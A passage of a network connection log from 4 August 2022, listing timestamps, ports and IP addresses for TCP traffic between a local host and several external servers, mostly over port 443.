Aug 4, 2022 13:37:03.016551018 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:03.016568899 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:03.030416012 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:03.037599087 CEST	49807	443	192.168.2.5	162.159.129.233
Aug 4, 2022 13:37:06.561925888 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:06.634723902 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:06.940967083 CEST	65367	49768	46.21.250.111	192.168.2.5
Aug 4, 2022 13:37:07.083970070 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:09.816741943 CEST	49768	65367	192.168.2.5	46.21.250.111
Aug 4, 2022 13:37:11.400868893 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:11.400919914 CEST	443	49832	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:11.401067019 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:11.437114000 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:11.437160015 CEST	443	49832	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:11.781949997 CEST	443	49832	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:11.782083988 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:12.178133011 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:12.178190947 CEST	443	49832	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:12.178832054 CEST	443	49832	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:12.178960085 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:12.186403990 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:12.227372885 CEST	443	49832	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:12.397712946 CEST	443	49832	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:12.397799015 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:12.397818089 CEST	443	49832	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:12.397870064 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:12.397914886 CEST	443	49832	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:12.397964001 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:12.401803017 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:12.401832104 CEST	443	49832	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:12.401850939 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:12.401891947 CEST	49832	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:12.672914028 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:12.672982931 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:12.673082113 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:12.673547029 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:12.673576117 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.104423046 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.104527950 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.111874104 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.111896992 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.112339973 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.112406015 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.113033056 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.155369997 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.442687035 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.442786932 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.442832947 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.442909002 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.581221104 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.581250906 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.581366062 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.581401110 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.581427097 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.581468105 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.581512928 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.581619978 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.581664085 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.581723928 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.581739902 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.581759930 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.581808090 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.581851959 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.581932068 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.582052946 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.582094908 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.582166910 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.582181931 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.582199097 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.582252979 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.582267046 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.584350109 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.720609903 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.720658064 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.720720053 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.720793009 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.720804930 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.720822096 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.720849037 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.720861912 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.720873117 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.720896959 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.720905066 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.720935106 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.720974922 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.721060038 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.721084118 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.721120119 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.721138000 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.721148014 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.721172094 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.721199036 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.858827114 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.858867884 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.858920097 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.858944893 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.858964920 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.858989954 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.859041929 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.860053062 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.860086918 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.860135078 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.860168934 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.860194921 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.860250950 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.860265017 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.860560894 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.860596895 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.860652924 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.860671997 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.860688925 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.860718012 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.860728025 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.860778093 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.861164093 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.861196995 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.861253977 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.861279964 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.861298084 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.861358881 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.861392975 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.861871004 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.861918926 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.861970901 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.862020016 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.862036943 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.862155914 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.862343073 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.862421989 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.862610102 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.862651110 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.862692118 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.862711906 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.862729073 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.862782955 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.862857103 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.862948895 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.862988949 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.863045931 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.863064051 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.863090038 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.863118887 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.863178015 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.863254070 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.863481998 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.863527060 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.863595963 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.863615036 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.863639116 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.863756895 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.863771915 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.864609003 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.997483015 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.997519970 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.997561932 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.997594118 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.997617960 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:13.997651100 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:13.997685909 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.001935959 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.001981020 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.002065897 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.002089977 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.002114058 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.002127886 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.002177000 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.002538919 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.002577066 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.002665043 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.002681971 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.002696037 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.002747059 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.003161907 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.003196955 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.003268003 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.003292084 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.003312111 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.003326893 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.003343105 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.003818035 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.003854990 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.003880024 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.003896952 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.003911018 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.003964901 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.003978968 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.004046917 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.004430056 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.004467964 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.004532099 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.004534960 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.004560947 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.004595995 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.004611015 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.004626989 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.005059004 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.005106926 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.005189896 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.005199909 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.005228043 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.005271912 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.005284071 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.005718946 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.005759001 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.005808115 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.005840063 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.005844116 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.005893946 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.005923033 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.006540060 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.006607056 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.006725073 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.006773949 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.006797075 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.006978989 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.007060051 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.007100105 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.007117987 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.007148981 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.007194042 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.007209063 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.008876085 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.180563927 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.180594921 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.180655956 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.180674076 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.180686951 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.180731058 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.180749893 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.275018930 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.275053024 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.275110006 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.275134087 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.275152922 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.275188923 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.275228977 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291280985 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291317940 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291402102 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291415930 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291426897 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291450024 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291455030 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291486025 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291513920 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291591883 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291599989 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291618109 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291646004 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291659117 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291666031 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291677952 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291686058 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291721106 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291726112 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291745901 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291770935 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291786909 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291862011 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291888952 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291925907 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291932106 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.291964054 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291994095 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.291999102 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292028904 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292062044 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292092085 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.292098045 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292152882 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.292164087 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292252064 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292279959 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292327881 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.292334080 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292387962 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.292392969 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292414904 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292443991 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292490959 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.292495966 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292547941 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.292552948 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292583942 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292609930 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292649984 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.292655945 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292716980 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.292721987 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292742014 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292768955 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292809010 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.292814970 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292866945 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.292871952 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292906046 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292912960 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.292922020 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292948008 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.292958021 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293028116 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293034077 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293041945 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293062925 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293096066 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293107986 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293137074 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293190956 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293196917 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293236971 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293256998 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293261051 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293272972 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293294907 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293346882 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293353081 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293399096 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293423891 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293427944 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293438911 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293464899 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293489933 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293495893 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293509960 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293564081 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293571949 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293596983 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293625116 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293658018 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293664932 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293700933 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293731928 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293735981 CEST	443	49838	52.217.195.249	192.168.2.5
